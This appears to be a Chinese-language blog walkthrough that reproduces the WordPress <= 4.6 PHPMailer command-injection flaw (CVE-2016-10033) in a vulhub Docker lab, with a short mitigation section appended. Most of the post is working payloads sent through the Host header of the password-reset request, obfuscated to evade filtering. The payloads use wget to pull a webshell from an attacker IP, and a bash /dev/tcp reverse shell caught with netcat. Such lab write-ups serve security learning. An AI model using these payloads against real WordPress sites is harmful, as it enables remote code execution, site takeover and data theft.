WordPress<= 4.6命令执行漏洞vulhub复现

WordPress <= 4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

我很菜,所以会写得啰嗦一点哈

原理:
phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload
详情可见https://www.jianshu.com/p/85ac4af9f947

影响版本:
WordPress <= 4.6.0
PHPMailer < 5.2.18

环境:
使用vulhub的环境,所有要先安装vulhub
https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum


复现过程:

要确保同网段,懒人直接选桥接模式
攻击机ip:192.168.2.209
靶机ip:192.168.2.234


在靶机上开启环境

cd vulhub/wordpress/pwnscriptum/
docker-compose up -d
#docker-compose up -d 以后台的方式运行容器

访问地址:http://ip:8080/wp-login.php

一直按照提示安装就好

 
漏洞点在忘记密码处
http://ip:8080/wp-login.php?action=lostpassword

注意:
1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
2.该命令将转换为小写字母
3.该命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin

burp抓包放到重放模块

payload:

aa(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
#意思是在tmp处创建success文件

但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

payload替换后为:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)


我们再进入容器的tmp文件夹下看看

docker ps -a
docker exec -it id /bin/bash
#通过 docker ps -a 命令查看已经在运行的容器,然后使用容器 ID 进入容器

 发现执行命令成功

后续利用

一、写入webshell
攻击机ip:192.168.2.132
靶机ip:192.168.2.234

思路是先让攻击机开启web服务,写一个一句话木马文件,然后操控靶机利用curl或者wget命令下载远程文件,然后执行该文件,即可getshell。
攻击机开启web服务,懒人直接用phpstudy开启,linux的话开启Apache服务就行了,靶机确保是可以访问主机一句话文件的(注意关闭主机全部防火墙和杀毒软件)

 
payload:

aa(any-froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 192.168.2.132/2.txt}}null)
#上面的payload意思是:从192.168.2.132这个地址下载2.txt,保存到靶机的/var/www/html下,并命名为shell.php

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.2.132${substr{0}{1}{$spool_directory}}2.txt}} null)

写入成功,用蚁剑连接


二、反弹shell
攻击机ip:192.168.2.132
靶机ip:192.168.2.234

思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙

bash -i >&/dev/tcp/192.168.2.209/1234 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行

payload:

aa(any-froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.2.132/1.txt}}null)
#上面的payload意思是:从192.168.2.132这个地址下载1.txt,保存到靶机的/tmp下,并命名为shell

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.2.132${substr{0}{1}{$spool_directory}}1.txt}} null)

写入成功


然后我们攻击机先监听1234端口
nc -lvp 1234


然后就是去执行这个文件了
payload:

aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)

替换后的payload:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

放包后得到反弹shell


做完实验后就可以删环境了

docker-compose down

参考链接:

https://blog.csdn.net/weixin_45473613/article/details/108962034

https://blog.csdn.net/qq_45300786/article/details/115770201

https://www.cnblogs.com/ahtoh/p/15038658.html

https://www.cnblogs.com/blankunbeaten/p/14963533.html

https://blog.csdn.net/csacs/article/details/86776080

https://www.runoob.com/docker/docker-exec-command.html

### 关于WordPress 4.6 文件上传安全漏洞 对于WordPress 4.6 版本中存在的文件上传安全漏洞,主要关注的是PHPMailer组件引入的命令执行漏洞(CVE-2016-10033),该漏洞允许攻击者通过特定条件下发送恶意请求来实现远程代码执行[^1]。 #### 安全漏洞详情 此漏洞源于`wp-includes/class-phpmailer.php`中的`class phpmailer`类,在处理邮件附件时未能充分验证用户输入的数据。当应用程序尝试解析含有特殊字符构造的邮箱地址字符串作为收件人参数传递给sendmail程序调用时,则可能触发本地命令注入风险[^5]。 #### 解决方案与修复措施 为了防止此类攻击的发生并保护站点免受潜在威胁的影响: 1. **升级版本** 推荐尽快将WordPress更新至最新稳定版,官方已经在后续发行中修正了这个问题。保持软件处于最新的状态是预防已知漏洞的最佳实践之一。 2. **应用补丁** 如果由于某些原因无法立即进行全面升级,可以考虑单独打上针对这个具体问题的安全补丁。这通常涉及替换受影响的核心文件或安装由社区提供的专门用于修补这一缺陷的插件。 3. **加强配置安全性** 修改服务器端设置以增强防护能力,比如调整php.ini里的open_basedir限制路径访问范围;关闭不必要的功能和服务减少暴露面;启用防火墙规则阻止异常流量等。 4. **定期备份数据** 建立健全的数据恢复机制非常重要,即使遭遇入侵也能迅速恢复正常运营而不会造成不可挽回损失。 ```bash # 更新Wordpress到最新版本 sudo wp core update --force ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值